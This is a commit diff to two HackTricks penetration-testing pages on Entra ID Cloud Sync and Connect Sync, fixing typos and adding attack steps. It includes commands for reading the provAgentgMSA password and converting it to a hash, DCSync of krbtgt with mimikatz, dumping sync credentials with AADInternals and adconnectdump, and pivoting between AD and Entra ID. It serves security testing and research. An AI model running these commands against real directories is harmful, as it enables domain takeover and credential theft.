update

Author: carlospolop

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md

@@ -23,7 +23,7 @@ In order for this to work some principals are created in both Entra ID and the O
 - In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>[email protected]`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
 
 > [!WARNING]
-> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permisions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
 
 > [!NOTE]
 > Domain admins are not replicated because the Domain Admin group has the **`adminCount` attribute to 1**. But other users might be replicated and attackable if you compromises them from EntraID: https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
@@ -46,40 +46,84 @@ az-connect-sync.md
 
 - If the AD users are being synced from the AD to Entra ID, pivoting from AD to Entra ID is straightforward, just **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**.
 
+So you could for example
+- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
+- Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
+- Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
+
+To compromise the **`provAgentgMSA`** credentials:
+
+```powershell
+# Enumerate provAgentgMSA account
+Get-ADServiceAccount -Filter * -Server domain.local
+# Find who can read the password of the gMSA (usually only the DC computer account)
+Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
+
+# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
+lsadump::dcsync /domain:domain.local /user:<dc-name>$
+sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
+
+# Or you can change who can read the password of the gMSA account to all domain admins for example:
+Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
+
+# Read the password of the gMSA
+$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
+
+#Install-Module -Name DSInternals
+#Import-Module DSInternals
+$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
+ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
+```
+
+Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the `provAgentgMSA` account and maintain persistence being able to perform DCSync attacks against the AD.
+
 For more information about how to compromise an Active Directory check:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
 {{#endref}}
 
 > [!NOTE]
-> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributtes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
+> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
 
 {{#ref}}
 ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 {{#endref}}
 
 ### Entra ID --> AD
 
-- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, conenct using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
+- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
 
-- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchonizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
 
 > - These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
 > - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.
 
-So the attack surface (and usefulness) of this service is greately reduced as an attacker would need to compromise the initial AD from where the users are being synhronized in order to compromise a user in the other domain (and both must be inte same forest aparently).
+So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).
 
 
 ### Enumeration
 
 ```bash
+Import-Module AADInternals
+
+# Check if the Cloud Sync is enabled in the tenant
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
+
+# Check for the gMSA SA
+Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
+
+
+
+
 # Get all the configured cloud sync agents (usually one per on-premise domain)
 ## In the machine name of each you can infer the name of the domain
 az rest \
   --method GET \
   --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
   --headers "Content-Type=application/json"
+
+
 ```
 
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md

@@ -20,8 +20,9 @@ az-cloud-sync.md
 ### Principals Generated
 
 - The account **`MSOL_<installationID>`** is automatically created in the on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
-    - This means that anyone taht compromises this account will be able to compromise the on-premise domain.
-- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
+    - This means that anyone that compromises this account will be able to compromise the on-premise domain.
+- An managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
+- In Entra ID the Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** is created with a certificate.
 
 ## Synchronize Passwords
 
@@ -53,6 +54,8 @@ Domain admins and other users belonging to some pivileged groups are not replica
 
 ## Pivoting
 
+### AD --> Entra ID
+
 Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
 The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
@@ -70,7 +73,7 @@ If the **server where Azure AD connect is installed** is domain joined (recommen
 
 ```bash
 # ActiveDirectory module
-Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
+Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
 
 #Azure AD module
 Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
@@ -80,21 +83,57 @@ Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
 
 ```bash
 # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
 Get-AADIntSyncCredentials
+# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
+
+# Using https://github.com/dirkjanm/adconnectdump
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
+.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
 
 # Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
 runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
 ```
 
-> [!CAUTION]
-> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
 
-### Abusing Sync\_\*
+> [!WARNING]
+> Previous attacks compromised the other password to then connect to Entra ID user called `Sync_*` and then compromise Entra ID. However, this user no longer exists.
+
+
+### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
+
+This application is created without having any Entra ID or Azure management roles assigned. However, it has the following API permissions:
+
+- Microsoft Entra AD Synchronization Service
+    - `ADSynchronization.ReadWrite.All`
+- Microsoft password reset service
+    - `PasswordWriteback.OffboardClient.All`
+    - `PasswordWriteback.RefreshClient.All`
+    - `PasswordWriteback.RegisterClientVersion.All`
+
+It's mentioned that the SP of this application can be still be used to perform some privileged actions using an undocumented API, but no PoC has been found yet afaik.\
+In any case, thinking that this might be possible it would be interesting to explore further how to find the certificate to login as this service principal and try to abuse it.
+
+This [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) release soon before the change from using the `Sync_*` user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a **service principal** can always assign itself new certificates) and then use it to maintain persistence as the SP.
+
+In order to perferm these actions, the following tools are published: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+
+In my experience, the certificate is no longer stored in the place where the previous tool was looking for it, and therefore, the tool doesn't work anymore. So further research might be needed.
+
+### Abusing Sync\_\* [DEPRECATED]
+
+> [!WARNING]
+> Previously a user called `Sync_*` was created in Entra ID with very sensitive permissions assigned, which allowed to perform privileged actions like modifying the password of any user or adding a new credential to a service principal. However, from Jan2025 this user is no longer created by default as now the Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** is used. However, it might still be present in some environments, so it's worth checking for it.
 
 Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
 
 ```bash
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+
 # This command, run previously, will give us alse the creds of this account
 Get-AADIntSyncCredentials
 
@@ -146,6 +185,7 @@ seamless-sso.md
 - [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
 - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
 - [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
+- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
 
 {{#include ../../../../banners/hacktricks-training.md}}